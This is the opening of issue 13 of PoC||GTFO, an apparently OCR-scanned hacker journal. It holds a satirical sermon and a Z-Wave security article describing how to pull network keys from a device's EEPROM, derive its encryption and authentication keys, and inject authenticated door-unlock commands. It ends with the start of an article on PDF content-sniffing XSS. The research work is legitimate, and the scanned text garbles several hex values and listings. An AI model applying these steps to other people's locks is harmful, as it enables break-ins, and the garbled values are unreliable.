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1 Lisez Moi! 


Neighbors, please join me in reading this thir- 
teenth release of the International Journal of Proof 
of Concept or Get the Fuck Out, a friendly little col- 
lection of articles for ladies and gentlemen of distin- 
guished ability and taste in the field of software ex- 
ploitation and the worship of weird machines. This 
release is given on paper to the fine neighbors of 
Montreal. 

If you are missing the first twelve issues, we the 
editors suggest pirating them from the usual loca- 
tions, or on paper from a neighbor who picked up a 
copy of the first in Vegas, the second in Sao Paulo, 
the third in Hamburg, the fourth in Heidelberg, the 
fifth in Montreal, the sixth in Las Vegas, the seventh 
from his parents’ inkjet printer during the Thanks- 
giving holiday, the eighth in Heidelberg, the ninth 
in Montreal, the tenth in Novi Sad or Stockholm, 
the eleventh in Washington, D.C., or the twelfth in 
Heidelberg. 

We begin on page 4 with a sermon concerning 
peak computation, population bombs, and the joy 
of peeks and pokes in the modern world by our own 
Pastor Manul Laphroaig. 

On page 6 we have a Z- Wave Christmas Carol by 
Chris Badenhop and Ben Ramsey. They present a 
number of tricks for extracting pre-sharecl keys from 
wireless Z-Wave devices, and then show how to use 
those keys to join the network. 

On page 14, Krzysztof Kotowicz and Gabor 
Molnar present Comma Chameleon, weaponize PDF 
polyglots to exfiltrate data via XSS-like vulnerabil- 
ities. You will never look at a PDF with the same 
eyes again, neighbors! 

Chris Domas, whom you’ll remember from his 
brilliant compiler tricks, has contributed two arti- 
cles to this fine release. On page 28, he explains 
how to implement M/o/Vfuscator as a Virtual Ma- 
chine, producing a few bytes of portable C or as- 
sembly and a complete, obfuscated program in the 
. data segment. 

IBM had JCL with syntax worse than Joss, and 
everywhere the language went, it was a total loss! So 
dust off your z/OS mainframe and find that ASCI- 
I/EBCDIC chart to read Soldier of Fortran’s JCL 
Adventure with Network Job Entries on page 32. 

What does a cult Brezhnev-era movie have to do 
with how exploit code finds its bearings in a Win- 
dows process’ address space? Read Exploiting Weak 
Shellcode Hashes to Thwart. Module Discovery; or, 
Go Home, Malware, You’re Drunk! by Mike Myers 


and Evan Sultanik on page 57 to find out! 

Page 63 begins Alex Ionescu’s article on a De- 
viceGuard Mitigation Bypass for Windows 10, esca- 
lating from Ring 3 to Ring 0 with complete recon- 
struction of all corrupted data structures. 

Page 72 is Chris Domas’ second article of this 
release. He presents a Turing-complete Virtual Ma- 
chine for VIM using only the normal commands, 
such as yank, put, delete, and search. 

On page 76 you will find a rousing guest ser- 
mon Doing Right by Neighbor O Hara by Andreas 
Bogk, against the heresy of “sanitizing” input as a 
miracle cure against injection attacks. Our guest 
preacher exposes it as fundamentally unneighborly, 
and vouchsafes the true faith. 

Concluding this issue’s amazing lineup is Are an- 
droids polyglots? by Philippe Teuwen on page 79, in 
which you get to practice Jedi polyglot mind tricks 
on the Android package system. Now these are the 
droids we are looking for, neighbors! 


On page 80, the last page, we pass around the 
collection plate. We’re not interested in your dimes, 
but we’d love some nifty proofs of concept. And re- 
member, one hacker’s “junk hacking” may hold the 
nifty tricks needed for another’s treasured exploit! 
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2 Surviving the Computation Bomb 


by Manul Laphroaig 

Gather round the campfire, neighbors. Now is the time for a scary story, of the kind that only science can 
tell. Vampires may scare children, but it takes an astronomer to scare adults — as anyone who lived through 
the 1910 scare of the Earth’s passing through the Halley’s comet’s tail would plainly tell you. After all, they 
had it on the best authority 1 that the tail’s cyanogen gas — spectroscopically confirmed by very prominent 
bands — would impregnate the atmosphere and possibly snuff out all life on the planet. 

But comets as a scare are old and busted, and astronomic spectroscopy is no longer a hot new thing, 
prominent bands or no. We can do better. 


Imagine that you come home after a strenuous workday, and, after 
a nice dinner, sit down to write some code on that fun little project 
for your PoC||GTFO submission. Little do you know that you are 
contributing to the thing that will doom us all! 

You see, neighbors, there is only so much computation possible in 
the world. By programming for pleasure, you are taking away from 
this non-renewable resource — and, when it runs out, our civilization 
will be destroyed. 

Think of it, neighbors. Computation was invented by mathemati- 
cians, and they tend to imagine infinite resources, like endless tapes 
for their model machines, but in reality nothing is inexhaustible. 

There is only a finite amount of atoms in the universe — so how could 
such a universe hold even one of these infinite tapes? Mathemati- 
cians are notorious for being short-sighted, neighbors. 

You may think, okay, so there may not be an infinite amount 
of computation, but there’s surely enough for everyone? No, neigh- 
bors, not when it’s growing exponentially! We may have been safe 
when people just wrote programs, but when they started writing pro- 
grams to write programs, and programs to write programs to write 
programs, how long do you think this unsustainable rush would last? 

Have you looked at the size of a “hello world” executable lately? We 
are doomed, neighbors, and your little program is adding to that, 
too! 

Now you may think, what about all these shiny new computers they keep making, and all those bright ads 
showing how computers make things better, with all the happy people smiling at you? But these are made 
by corporations, neighbors, and corporation would do anything to turn a profit, would they not? Aren’t 
they the ones destroying the world anyway? 2 Perhaps the rich and powerful will have stashed some of it 
away for their own needs, but there will not be enough for everyone. 

Think of the day when computation runs out. The Internet of Things will turn into an Internet of Bricks, 
and all the things it will be running by that time, like your electricity, your water, your heat, and so on will 
just stop functioning. The self-driving cars will stop. In vain will your smart fridge, previously shunned by 
your other devices as the simpleton with the least processor power, call out to its brethren and its mother 
factory— until it too stops and gives up its frosty ghost. 

1 The New York Times. Your best source for the science of how the world would end most horribly and assuredly real soon 
now. 

2 Searching the New York Times for this one is left as an exercise to the reader. 


COMET'S POISON OUS TAIL. 

Yerkes Observatory Finds Cyanogen In 
Spectrum of Halley’s Comet. 

Special to The AVw York Times. 

BOSTON. Mass., Feb. 7. — Astronomers 
at the Harvard Observatory have not yet 
made a photographic spectrum of Hal- 
ley’s comet, which Is rapidly approaching 
the earth, but a telegram received there 
to-day from the Yerkea Observatory 
states that spectra of the comet obtained 
by the Director and his assistants show 
very prominent cyanogen bands. 

Cyanogen is a very deadly poison, a 
grain of Its potassium salt touched to the 
tongue being sufficient to cause Instant 
death, in the uncombined state it is a 
bluish gas very similar in Its chemical be- 
havior to chlorine and extremely poison- 
ous. It is characterized by an odor sim- 
ilar to that of almonds. The fact that 
cyanogen Is present in the comet has 
been communicated to Camille Flamma- 
rion and many other astronomers, and is 
causing much discussion as to the prob- 
able eifect on the earth should it pass 
through the comet’s tail. Prof. Flamma- 
non is of the opinion that the cyanogen 
gas would impregnate the atmosphere 
and possibly snuff out all life on the 
planet. 

Only onee, as far as known, has the 
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A national mobilization of the senior folks who still remember how 
to use paper and drive may save some lives, but “will only provide a 
stay of execution.” Nothing could be more misleading to our children 
than our present society of affluent computation ! 3 

To meet the needs of not just individual programmers, but of society 
as a whole, requires that we take an immediate action at home and 
promote effective action worldwide — hopefully, through change in our 
value system, but by compulsion if voluntary methods fail- before our 
planet is permanently ruined . 4 

No point in beating around the bush, neighbors — computation must 
be rationed before it’s too late. We must also control the population of 
programmers, or mankind will program itself into oblivion. “The hand 
that hefted the axe against the ice, the tiger, and the bear [and] now 
fondles the machine gun”— and, we must add, the keyboard— “just as 
lovingly ” 5 must be stopped. 

Uncontrolled programming is a menace. The peeks and pokes can- 
not be left to the unguided masses. Governments must step in and Do Something. 

Well, maybe the forward-thinking elements in government already are. When industrial nations sign 
an international agreement to control software under the same treaty that controls nuclear and chemical 
weapon technologies — and then have to explicitly exclude debuggers from it, because the treaty’s definition 
of controlled software clearly covers debuggers — something must be going on. When politicians who loudly 
profess their commitment to technological progress and education demand to punish makers and sellers of 
non-faulty computers — maybe they are only faking ignorance. 

When the only “Advanced Placement” computing in high schools means Java and only Java, one starts 
to suspect shenanigans. When most of you, neighbors, barely escaped courses that purported to teach pro- 
gramming, but in fact looked like their whole point was to turn you away from it — can this be a coincidence? 
Not hardly, neighbors, not by a long shot! 

Scared yet, neighbors ? 6 7 

Garlic against vampires, silver against werewolves, the Elder Sign against sundry star-spawn. The scary 
story teaches us that there’s always a hack. So what is ours against those who would take away our PEEK 
and our POKE in the name of expert opinions on the whole society’s good? 

Perhaps it is this little litany: “Science is the belief in the ignorance of experts.” At the time that Rev. 
Feynman composed it, he felt compelled to say, “I think we live in an unscientific age ... [with] a considerable 
amount of intellectual tyranny in the name of science.” We wonder what he would have said of our times. 

But take heart, neighbors. Experts and sciences of doom come and go; so do killer comets with cyanogen 
tails,' the imminent Fifth Ice Age, and population bombs. We might survive the computation bomb yet — so 
finish that little project of yours without guilt, send it to us, and let its little light shine— in an unscientific 
world that needs it. 

3 Cf. Paul Erhlich, “The Population Bomb,” 1968, p. xi, which begins with “The battle to feed all of humanity is over. In 
the 1970s hundreds of millions of people will starve to death in spite of any crash programs embarked upon now. At this late 
date nothing can prevent a substantial increase in the world death rate. . . ” The 1975 edition amended “the 1970s” to “the 1970s 
and 1980s,” but — as the newer and more fashionable kinds of school math teach us — never mind the numbers, the idea is the 
important thing! 

4 Oops, that one was a quote, too. No wonder that story was a best-seller! 

5 Ibid., p. xiii 

6 If you think that the “non- renewable computation” argument makes no sense, you are absolutely right! But, do the 
arguments for “golden keys” in cryptography or for “regulating exploits” make any more sense? No, and they sound just as 
scientific to those inclined to believe that actual experts have, in fact, been consulted. And sometimes they even have been, for 
a certain definition of experts. 

7 But I bet CyanogenMod is in your Android. Coincidence? 
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3 Carols of the Z-Wave Security Layer; or, 
Robbing Keys from Peter to Unlock Paul 


by Chris Badenhop and Ben Ramsey 


sensor 



E ek (DATA)+ 

CBC-MAC ak (DATA) 


3.1 Adeste Fideles 

Z-Wave is a physical, network, and application layer 
protocol for home automation. It also allows mem- 
bers of the disposable income class to feed their zeal 
for domestic gadgetry, irrespective of genuine utility. 
Z-Wave devices sit in their homes, quietly exchang- 
ing sensor reports and actuating in response to user 
commands or the environment. 

The curious reader may use an SDR to learn 
how, when, and what they communicate. Tools 
like Scapy-radio (Picod, Lebrun, and Demay) and 
EZ-Wave (Hall and Ramsey) demodulate Z-Wave 
frames for inspection and analysis. The C++ source 
code for OpenZwave is a great place to examine 
characteristics of the Z-Wave application layer. Oth- 
ers may still prefer to cross-compile OpenZwave to 
their favorite target and examine the binary using a 
custom disassembler built from ROP gadgets found 
in the old shareware binary WOLF3D.EXE. 

After tinkering with Z-Wave devices and an 
SDR, the stimulated readers will quickly realize that 
they can send arbitrary application layer commands 
to devices where they are executed. To combat this, 
some devices utilize the Z-Wave security layer, which 
provides both integrity and confidentiality services 
to prevent forgery, eavesdropping, and replay. 

The first gospel of the Z-Wave security layer 
was presented by Fouladi and Ghanoun at Black 
Hat 2013. In it they identified and exploited a re- 
mote rekeying vulnerability. In this second gospel 
of the Z-Wave security layer, we validate and ex- 
tend their analysis of the security layer, identify a 
hardware key extraction vulnerability, and provide 
open source PoC tools to inject authenticated and 
encrypted commands to sleeping Z-Wave devices. 


3.2 Deck the Home with Boughs of 
Z-Wave 

This Christmas, Billy Peltzer invests heavily in Z- 
Wave home automation. The view of his festive 
front porch reveals several of these gadgets. Billy 
is a little paranoid after having to defend himself 
from hordes of gremlins every Christmas, so he in- 
stalls a Z-Wave door lock, which both Gizmo and 
he are able to open using a smart phone or tablet. 
Billy uses a Z-Wave smart plug to control Christmas 
lights around his front window. He programs the 
strand of lights to turn on when a Z-Wave PIR (pas- 
sive infrared) sensor detects darkness and turn off 
again at daylight. This provides a modest amount 
of energy savings, which will pay for itself and his 
Mogwai-themed ornament investment after approx- 
imately 20 years. 

The inquisitive reader may wonder if Billy’s front 
door is secure. Could a gremlin covertly enter his 
home using the Z-Wave application layer proto- 
col, or must it instead cannonball through a win- 
dow, alerting his dog Barney? Fortunately, sniff- 
ing, replaying, or injecting wireless door commands 
is fruitless because the door command class imple- 
ments the Z-Wave security layer, which is rooted in 
cryptography. 

Z-Wave cryptography uses symmetric keys to 
provide encryption and authentication services to 
the application layer. It stores a form of these keys 
in nonvolatile memory, so that the device does not 
require rekeying upon power loss. Of the five locks 
we have examined, the nonvolatile memory is al- 
ways located in the inner-facing module, so a grem- 
lin would have to destroy a large portion of the Z- 
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Wave door lock to extract the key. At that point it 
would have physical access to the lock spindle any- 
way, making the cryptographic system moot. 

Wireless security is enabled on the 5th gener- 
ation (i.e. , Z-Wave Plus) devices on Billy’s front 
porch. Thus, their memory contains the same keys 
that keep gremlins from wirelessly unlocking his 
door. A gremlin may crack open the outdoor smart 
plug or PIR sensor, locate and extract the keys, and 
send an authenticated unlock command to the door. 
Billy has figuratively left a key under the doormat! 

3.3 We Three Keys of AES Are 

Since Z-Wave security hinges on the security of the 
keys, it is important to know how they are stored 
and used. Z-Wave encryption and authentication 
services are provided by three 128-bit AES keys; 
however, the security of an entire Z-Wave network 
converges to a single key in the set. Like the three 
wise men, only one of them was necessary to deliver 
the gifts to Brian of Nazareth. The other two could 
have just as well stayed home and added a few ex- 
tra camels to haul the gifts. A card would also have 
been nice. 

The key of keys in this system is the network 
key. This key is generated by the Z-Wave network 
controller device and is shared with every device re- 
quiring cryptographic services. It is used to derive 
both the encrypting and signing keys. When a new 
device is added to a Z-Wave network, the device may 
declare a set of command classes that will be using 
security (e.g., the door lock command class) to the 
Z-Wave network controller. In turn, the controller 
sends the network key to the new device. To provide 
a razor-thin margin of opaqueness, this message is 
encrypted and signed using a set of three default 
keys known by all Z-Wave devices. The default en- 
cryption and authentication keys are derived from a 
default 128-bit network key of all zeros. If the ad- 
herent reader recovers the encryption key from their 
device, decrypts sniffed frames, and finds that the 
plaintext is not correct, then they should attempt 
to use the encryption key derived from the null net- 
work key instead. 8 

An authentication key is derived from a network 
key as follows. Using an AES cipher in ECB-mode, 
a 16-byte authentication seed is encrypted using the 
network key to derive the authentication key. The 
derivation process for the encryption key is identical, 

8 unzip pocorgtfol2.pdf zwave.tar .bz2 


except that a different 16- byte seed value is used. A 
curious reader may want to know what these seeds 
are, and any fortuitous reader in possession of a Mi- 
CasaVerde controller will be able to tell you. 

The MiCasaVerde controller uses an embedded 
Linux OS and provides two mechanisms for ex- 
tracting a keyfile from its filesystem, located at 
/etc/cmh/keys. Using the web interface, one may 
download a compressed archive of the controller 
state. The archive contains the /etc directory of 
the filesystem. Alternatively, a secure shell inter- 
face is also provided to remotely explore the filesys- 
tem. The MiCasaVerde binary key file (keys) is 
exactly 48 bytes and contains all three keys. The 
file is ordered with the network key first, the au- 
thentication key second, and the encryption key 
last. Billy Peltzer’s Z-Wave network controller is a 
MiCasaVerde-Edge. In Figure 1, we show the result- 
ing key file and dump the values of the keys for his 
network (i.e., 0xe97a5631cb5686fa24450ebal03f- 
945c). 

To find the seeds, one must simply decrypt the 
authentication and encryption keys using an AES ci- 
pher in ECB mode loaded with the network key, and 
the resulting gifts will be the authentication and en- 
cryption seeds respectively. From our own observa- 
tions, the same seed values are recovered from both 
3rd and 5th generation Z-Wave devices. Billy’s keys 
are used in Figure 2 to recover the seeds. Given the 
seed values and a network key, we have a method for 
deriving the encryption key and the authentication 
key from an extracted network key. 

3.4 Away in an EEPROM, No ROM 
for Three Keys 

Z-Wave devices other than MiCasaVerde controllers 
may not have an embedded Linux OS, so where are 
the keys stored in these devices? Extracting and an- 
alyzing the nonvolatile memory of Billy’s PIR sensor 
and doorlock reveal that the network key is stored in 
a lowly, unprotected 8-pin SPI EEPROM, which is 
external to the proprietary Z-Wave transceiver chip. 
In fact, only the network key is stored in the EEP- 
ROM, implying that the encryption key and the au- 
thentication key are derived upon startup and stored 
in RAM. 

Unless the device designers hoped to obscure the 
key derivation process, the decision to store only 
the network key in nonvolatile memory is unclear. 
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Moreover, it is not clear why the key is found in the 
EEPROM rather than somewhere in the recesses of 
the proprietary ZW0X01 Z-Wave transceiver mod- 
ule, whose implementation details are protected by 
an NDA. The transceiver certainly has available 
flash memory, and there does not appear to be any- 
one who has dumped the ZW0501 5th generation 
flash memory yet. Until this issue is fixed, anyone 
with an EEPROM programmer and physical access 
can acquire this key, derive the other two keys, and 
issue authenticated commands to devices. We ex- 
tract Billy’s network key by desoldering the EEP- 
ROM from the main board of his PIR sensor and use 
an inexpensive USB EEPROM programmer (Sign- 
stek MiniPRO) to dump the memory to a file. 

The circuit board from the PIR sensor is shown 
in Figure 3. The ZW0501 transceiver is the large 
chip located on the right side of the board (a 3rd 
generation system would have a ZW0301). In gen- 
eral, the SPI EEPROM is the 8-pin package clos- 
est to the transceiver. The reader may validate 


that the SPI pins are shared between the EEP- 
ROM and transceiver package to be sure. In fact, 
the ATMLH436 EEPROM used in a 3rd generation 
door lock is not in the MiniPRO schematics library, 
so we trace the SPI pin outs of the ZM3102 (i.e. , 
the postage-stamp transceiver package) to the SPI 
EEPROM to identify its pin layout. We use this 
information to select a compatible SOIC8 ATMEL 
memory chip that is available in the MiniPRO li- 
brary. 


We are unable to provide a fixed memory address 
of the network key, as it varies among device types. 
Even so, because the memory is so empty (>99% 
zeros), the key is always easy to find. In all three 
of Billy’s Z-Wave devices, the key is within the only 
string of at least 16 bytes in memory. The region 
of the EEPROM memory of Billy’s PIR sensor con- 
taining the same network key follows, with the key 
itself starting at address 0x60A0. 


1 

“/Downloads / et c / cmh 

$ Is 




alerts . json 

HW Key 

user 

data .json . lzo .1 

3 

cmh . c o n f 

HW Key2 

user 

data .json . lzo .2 


devices 

keys 

user 

data .json . lzo .3 

5 

dongle .3.83. dump . 0 

last report 

user 

data .json . lzo .4 


dongle .3.83. dump . 1 

PK AccessPoint 

user 

data .json . lzo .5 

7 

dongle .3.83. dump . 2 

servers . conf. default 

vera 

model 


dongle .3.83. dump . 3 

sync kit 

wan 

failover 

9 

dongle .3.83. dump . 4 

sync rediscover 

zwave locale 


ergy key 

user data . json . luup . lzo 



11 

first boot 

user data . j son . lzo 




“/Downloads / etc / cmh 

$ xxd . / keys 



13 

0000000: e97a 5631 

cb56 86 fa 2445 Oeba 103f 

945c 

. zVl .V. . $E ... ?->\ 


0000010: 620d 486c 

6a65 2122 afel 086c 79e6 

3740 

b. Hlje ! " ... ly . 7@ 

15 

0000020: eec9 ef96 

al55 a3d3 02al 8441 f5f3 

7 eaO 

U A..". 


Figure 1 - Keys found in Billy’s MiCasaVerde Edge Controller 


1 ~/POCs $ ./getSeeds . . / keys/ veraedge_keyFile 
gcry_cipher_open worked 
3 gcry _cipher_setkey worked 
gcry_cipher_decrypt worked 

5 A_K: : 62 Od 48 6c 6a 65 21 22 af el 8 6c 79 e6 37 40 

A_Seed : : 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 

7 gcry_cipher_decrypt worked 

E_K: : ee c9 ef 96 al 55 a3 d3 2 al 84 41 f5 f3 7e aO 

9 E Seed : : aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa 


Figure 2 - The seeds for the Encryption and Authentication Keys 






Figure 3 - Location of the EEPROM DIP on a 5th gen Z-Wave PIR sensor (Aeotec Multisensor 4) 
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1 

6090: 

00000000 

00000000 

00000000 

ffOOOOOl 


60a0 : 

e97a5631 

cb5686fa 

24450 eba 

103 f945c 

3 

60b0 : 

56001498 

eff 1 72 75 

13cc4201 

00000000 


60c0 : 

42326402 

a8010000 

00000000 

00000000 


for fragmentation; however, we have yet to observe 
a value other than 0x00 in this field. The second 
byte provides the command class and, like the ap- 
plication layer, is followed by a single command byte 
and zero or more bytes of arguments. 


For reference, the segment of memory in Billy’s 
door lock containing the network key follows. The 
network key starts at address 0x012D. 



0110: 

00000000 

00000000 

00000000 

00000000 

2 

0120: 

00000000 

00420100 

00000000 

81e97a56 


0130: 

31 cb5686 

fa24450e 

bal03f94 

5c560000 

4 

0140: 

00000000 

00000000 

00000000 

00000000 


To summarize the above, each device contains a 
network key, an authentication key, and an encryp- 
tion key. The network key is common throughout 
the network and is shared with the devices by us- 
ing default authentication and encryption keys that 
are the same for all 3rd and 5th generation Z-Wave 
devices in the world. The authentication and the 
encryption key on the device are derived from the 
network key and the nonces of all 5s and all As re- 
spectively. 


3.5 Do You Hear What I Hear? A 
Frame, a Frame, Encapsulated in 
a Frame, Is Encrypted 


Even armed with the keys, the patient reader still 
needs to know how to use them. The Z-Wave se- 
curity service provides immutable encryption and 
authentication through the use of an encapsulation 
frame. The encapsulation security frame (shown be- 
low) is identified in the first two bytes of the applica- 
tion layer payload. The first byte specifies the com- 
mand class, and the second provides the command, 
where an encapsulated security frame has byte val- 
ues of 0x98 and 0x81, respectively. The remainder 
of the frame contains the eight upper bytes of the 
IV, used for both encryption and signing, the vari- 
able length encapsulated and encrypted payload, the 
nonce ID, and an 8-byte CMAC (cipher-based mes- 
sage authentication code). 

Encapsulated / Encrypted 
Frame 




0x98 0x81 Upper IV[8] 


Frag. 

Cmd 

Cmd 


Nonce 

Field 

class 


ID 


CMAC [8] 


At a minimum, the frame encapsulated in the 
security frame is three bytes. The first byte is used 


The application payload is encrypted using the 
encryption key and an AES cipher in OFB mode 
with a 16-byte block size. OFB mode requires a 16- 
byte IV, which is established cooperatively between 
the source and destination. The lower 8 bytes of 
the IV are generated on request by the destination, 
which OpenZwave calls a nonce, and are reported 
to the requestor before the encapsulation frame is 
sent. The first byte of this 8- byte nonce is what we 
referred to as the nonce ID. The upper eight bytes 
of the IV are generated by the sender and included 
in the encapsulation security frame. When the des- 
tination receives the encapsulated frame, it decrypts 
the frame using the same cipher setting and key. It 
is able to reconstruct the IV using the IV field of the 
encapsulated frame and by using the nonce ID field 
to search its cache of generated nonces. 
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3.6 Joy to the Home, Encrypted 
Traffic is Revealed 

Some cautious readers may become anxious when 
two automations are having a private conversation 
within their dwelling. This is especially true when 
one of them is a sensor, and the other is connected 
to the Internet. Fear not! Armed with knowledge 
of the encapsulation security frame and possession 
of the network or encryption key, the triumphant 
reader can readily decrypt frames formerly hidden 
from them. They will hopefully discover, as we have, 
that Z-Wave messages are devoid of sensitive user 
information. However, may the vigilant reader be 
a sentry to warn us if any future transgressions do 
occur in the name of commercialism and Orwellian- 
ism. 

To aid the holy sentry, we provide the PoC 
decryptPCAPNG tool to decrypt Z-Wave encapsu- 
lated Z-Wave frames. The user provides the network 
or encryption key. The tool assumes the user is cap- 
turing Z-Wave frames using either Scapy-radio or 
EZ-Wave with an SDR, which sends observed frames 
to Wireshark for capture and saving to PCAPNG 
files. 


3.7 What Frame Is This, Who Laid 
to Rest, upon Receiver’s An- 
tenna, Did Originate? 

Secure Z-Wave devices do not act upon a command 
issued in an encapsulation frame unless its CMAC 
is validated. Thus, the active reader wishing to do 
more than observe encrypted messages requires fur- 
ther discourse. Certainly, the gremlin wishing to 
open Billy’s front door desires the ability to gener- 
ate an authenticated unlock-door command. 

The Z-Wave CMAC is derived using the CBC- 
MAC algorithm, which encrypts a message using an 
AES cipher in CBC mode using a block size of 16 
bytes. It uses the same IV as the encryption cipher, 
and only the first eight bytes of the resulting 16- 
byte digest are sent in the encapsulation frame to be 
used for authentication. Instead of creating the di- 
gest from the entire security encapsulation frame, a 
subset of fields are composed into a variable-length 
message. The first four bytes of this message are 
always the security command class ID, source ID, 
destination ID, and length of the message. The re- 
maining portion of the message is the variable length 


11 




encapsulated frame (e.g., an unlock-door command, 
including the fragmentation byte) after it has been 
encrypted. 

Encapsulated / Encrypted 
Frame 



The recipient of the encapsulation security frame 
validates the integrity of the frame using the in- 
cluded 8-byte CM AC. It is able to generate its own 
CMAC by reconstructing the message to generate 
the digest using the available fields in the frame, 
the IV, and the authentication key. If the generated 
CMAC matches the declared value in the frame, 
then the source ID, destination ID, length, and con- 
tent of the encapsulated frame are validated. Note 
that, since the other fields in the frame are not part 
of the CMAC message, they are not validated. If 
the generated digest does not match the CMAC in 
the frame, the frame is silently discarded. 


3.8 Bring a Heavy Flamer of Sanc- 
tified Promethium, Jeanette, Is- 
abella 

Knock! Knock! Knock! Open the door for us! 
Knock! Knock! Knock! Let’s celebrate! 

We wrote QpenBarley as a PoC tool to demon- 
strate how Z-Wave security works. Its default en- 
capsulated command is to unlock a door lock, but 
the user may specify alternative, arbitrary com- 
mands. The tool works with the GNURadio Z-Wave 
transceiver available in Scapy-radio or EZ-Wave to 
inject authenticated and encrypted frames. 

The reader must note that battery operated Z- 
Wave devices conserve power by minimizing the 
time the transceiver is active. When in low-power 
mode, a beam frame is required to bring the re- 
mote device into a state where it may receive the 
application layer frame and transmit an acknowledg- 
ment. Scapy-radio and EZ-Wave did not previously 
support waking devices with beam frames, so we 
have contributed the respective GNURadio Z-Wave 
blocks to EZ-Wave to allow this. 



3.9 It Came! Somehow or Other, It 
Came Just the Same! 

This Christmas, as we have done, may you, the 
blessed reader, extract the network key from the 
EEPROM of a Z-Wave device. May you use our 
PoCs to send authenticated commands to any other 
secured device on your network. May you enlighten 
your friends and neighbors, affording them the op- 
portunity to sanctify by fire, or with lesser, more 
legal means, home automation lacking physical se- 
curity in the name of Manion Butler and his holy 
mother. May you use our PoCs to watch the au- 
tomation for privacy breaches and data mining in 
the time to come, and may you brew in peace. 
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“Submarine, heck! It’s supposed to be an airplane!" 

Trade-ins are not always what they seem, either. That's why it will pay you, 
as it has thousands of others, to rely on the one and only "Surprise" trade-in 
policy popularized by Walter Ashe. For real satisfaction and money saving, 
trade used (factory- built) test or communication equipment today. Wire, 
write, phone or use the handy coupon. 



^ RADIO CO. 

1125 PINE ST. • ST. LOUIS 1, MO 


ECCO 10 METER TRANS-RECEIVER 
Designed for spot frequency use for emergency, CD, 
and net operation. Completely self-contained includ- 
ing batteries. Transmitter uses 20 meter crystals. 
Fixed frequency receiver has regenerative circuit. 
Base loaded 36" antenna. Carbon mike input. Vi 
watt input to final. With 5 tubes. Less mike, head- 
phones, crystal, and batteries. 

MODEL HT-2. Net $74.50. 

Z-3 Crystal (specify frequency). Net $3.87. 

Batteries (2-M30 "B", 1-2F "A"). Net $4.76. 


ELMAC MOBILE RECEIVER. 
Dual conversion, 10 tubes, less 
power supply. 

Model PMR-6A. For 6 volts. 
Net $134.50. 

Model PMR-12A. For 12 volts. 
Net $134.50 


GONSET “Super 
6“ Converter. 
Model 3030-6. 
For 6 VDC. 
Net $52.50. 
Model 3030-12. 
For 12 VDC. 
Net $52.50. 


power for mobile transmitters. 
Output VDC Net 

400 @ 250 MA $50.70 

500 @ 200 MA 51.46 

600 @ 240 MA 52.32 

400 @1 250 M A 51.46 

500 @ 200 MA 52.19 


CARTER GENEMOTORS. “B' 

Model Input VDC 

ELMAC AF-67 450AS 6 @ 29 A. 

TRANS-CITER. 520AS 6 @ 28 A. 

Net 5177 00 624VS 6 @ 46 A. 

Net $177.00. 4S0BS 12@13'/ 2 A. 

520BS 12 @ 14 A. 


FLHAC 


--FREE CATALOG! Send for your copy today 

WALTER ASHE RADIO COMPANY Q-7- 

1125 Pine Street, St. Louis 1, Missouri 

□ Rush "Surprise" Trade-In offer on my 


All prices f. o. b. St. Louis • Phone CHestnut 1-1125 


for 

(show moke and model number of new equipment desired) 

□ Rush copy of lastest Catalog. 


Name. 


Address. 
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4 Content Sniffing with Comma Chameleon 

by Krzysztof Kotowicz and Gabor Molnar 


The nineties. The age of Prince of Bel Air, leg- 
gings and boot sector viruses. Boy George left Cul- 
ture Beat to start a solo career, NCSA Mosaic was 
created, and SQL injection became a thing. Every- 
one in the industry was busy blowing the dot-com 
bubble with this whole new e-commerce movement 
— and then the first browser war started. Browsers 
rendered broken HTML pages like crazy to be con- 
sidered “better” in the eyes of the users. Web servers 
didn’t care enough to specify the MIME types of 
resources, and user agents decided that the best 
way to keep up with this mess is to start sniffing. 
MIME type sniffing, 9 that is. In short, they relied 
on heuristics to recognize the file type of the down- 
loaded resource, often ignoring what the server said. 
If it quacks like an HTML, it must be HTML, you 
silly Apache. Such were the 90s. 


This MIME type sniffing or content sniffing has 
obviously led to a new class of web security problems 
closely related to polyglots: if one partially controls 
the server response in, e.g., an API call response or 
a returned document and convinces the browser to 
treat this response as HTML, then it’s straightfor- 
ward XSS. The attacker would be able to imperson- 
ate the user in the context of the given domain: if 
it is hosting a web application, an exploit would be 
able to read user data and perform arbitrary actions 
in the name of the user in the given web application. 
In other cases, user content might be interpreted 
as other (non-HTML) types, and then, instead of 
XSS, content-sniffing vulnerabilities would be per- 
mitted for the exfiltration of cross-domain data — 
just as bad. 


Al SDN, MIME Type Detection in Windows Internet Explorer 
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Here we focus on PDF-based content-sniffing at- 
tacks. Our goal is to construct a payload that turns 
a harmless content injection into passive file formats 
(e.g., JSON or CSV) into an XSS-equivalent con- 
tent sniffing vulnerability. But first, we’ll give an 
overview of the field and describe previous research 
on content sniffing. 

4.1 Content Sniffing of Non-plugin 
File Types 

To exploit a content sniffing vulnerability, the at- 
tacker injects the payload into one of the HTTP 
responses from the vulnerable origin. In practice, 
that origin must serve partially user-controlled con- 
tent. This is common for online file hosting appli- 
cations (the attacker would then upload a malicious 
file) or in APIs like JSONP that reflect the payload 
from the URL (attacker then prepares the URL that 
would reflect the content in the response). 

The first generation of content sniffing exploits 
tried to convince the browser that a given piece of 
non-HTML content was in fact HTML, causing a 
simple XSS. 

In other cases, content sniffing can lead to cross- 
origin information leakage. A good example of this 
is mentioned in Chris Evans’ research 10 and a re- 
cent variation on it from Filedescriptor , 11 which are 
based on the fact that browsers can be tricked into 
interpreting a cross-origin HTML resource as CSS, 
and then observe the effects of applying that CSS 
stylesheet to the attacker’s HTML document, in or- 
der to derive information about the HTML content. 

Current browsers implement more secure 
content-type detection algorithms or deploy other 
protection mechanisms, such as the trust zones 
in IE. Web servers also have become much 
better at properly specifying the MIME type 
of resources. Additionally, secure HTTP re- 
sponse headers 12 are often used to instruct the 
user-agent not to perform MIME sniffing on 
a resource. It’s now a de facto standard to 
use Content-Type-Disposition: attachment, 

X-Content-Type-Qptions : nosniff and a be- 

nign Content-Type whenever the response is totally 
user-controlled (e.g., in file hosting applications). 


That has improved the situation quite a bit, but 
there were still some leftovers from the nineties that 
allowed for MIME sniffing exploitation: namely, the 
browser plugins. 


4.2 Plugin Content Sniffing 

When an HTML page embeds plugin content, it 
must explicitly specify the file type (SWF, PDF, 
etc.), then the browser must instantiate the given 
plugin type regardless of the MIME type returned 
by the server for the given resource . 13 

Some of those plugins ignore the response head- 
ers received when fetching the file and render 
the content inline despite Content-Disposition: 
attachment and X-Content-Type-Qptions: 
